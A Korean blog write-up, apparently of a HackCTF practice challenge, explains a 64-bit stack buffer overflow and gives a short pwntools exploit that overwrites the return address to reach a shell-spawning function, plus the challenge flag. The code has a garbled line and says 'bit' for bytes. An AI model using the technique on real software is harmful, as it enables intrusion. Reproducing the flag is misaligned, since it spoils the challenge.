본문 바로가기

WARGAME/hack ctf

x64 Buffer Overflow

 

 

이번 문제 당 바이너리를 다운 받아 실행해 보면 

 

 

 

한 줄 입력을 받는 것을 확인 할 수 있고 입력을 받은 뒤 "Hello ( 입력받은 문자열 )" 이 출력됨을 확인할 수 있다. 근데 왠지 제목부터 64bit 바이너리 인 게 느껴지는데 checksec로 확인해 보면

 

 

 

64bit 바이너리임을 알 수 있다.

 

ida 로 main 함수를 보면

 

 

 

scanf로 입력을 받고 v5 변수에다가 해당 문자열의 길이를 넣은 다음 printf로 처음 실행했을시의 문자열을 출력하는 것을 볼 수 있다.

해당 바이러리에는 main 함수 말고 다른 함수가 하나 더 있는데

 

 

 

 

바로 callMeMaybe 라는 함수가 있음을 확인할 수 있다.

해당 함수를 보면

 

 

 

 

쉘을 얻을 수 있는 함수임을 알 수 있다.

 

익스는 그냥 64bit인 것을 감안하면서 쉽게 짤 수 있었다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import*
 
#p = process("./64bof_basic")
= remote("ctf.j0n9hyun.xyz"3004)
elf = ELF("./64bof_basic")
 
callMeMaybe = elf.symbols['callMeMaybe']
 
payload = ''
payload += 'A'*0x110
payload += 'B'*8
payload += p64(callMeMaybe)
 
p.sendline(payload)
 
p.interactive()
 
 

 

 

symbols로 callMeMaybe 함수 주소 얻어오고 0x110부터 입력을 받으니깐

0x110 만큼 채워준다음 64bit 바이너리는 sfp, ret 영역이 8bit니깐 8bit씩 덮어 주었다.

 

 

 

 

FLAG : HackCTF{64b17_b0f_15_51mpl3_700}

'WARGAME > hack ctf' 카테고리의 다른 글

Simple_Overflow_ver_2  (0) 2020.03.09
x64 Simple_size_BOF  (0) 2020.03.09
내 버퍼가 흘러넘친다!!!  (0) 2020.03.09
Basic_BOF #2  (0) 2020.02.16
Basic_BOF #1  (0) 2020.02.16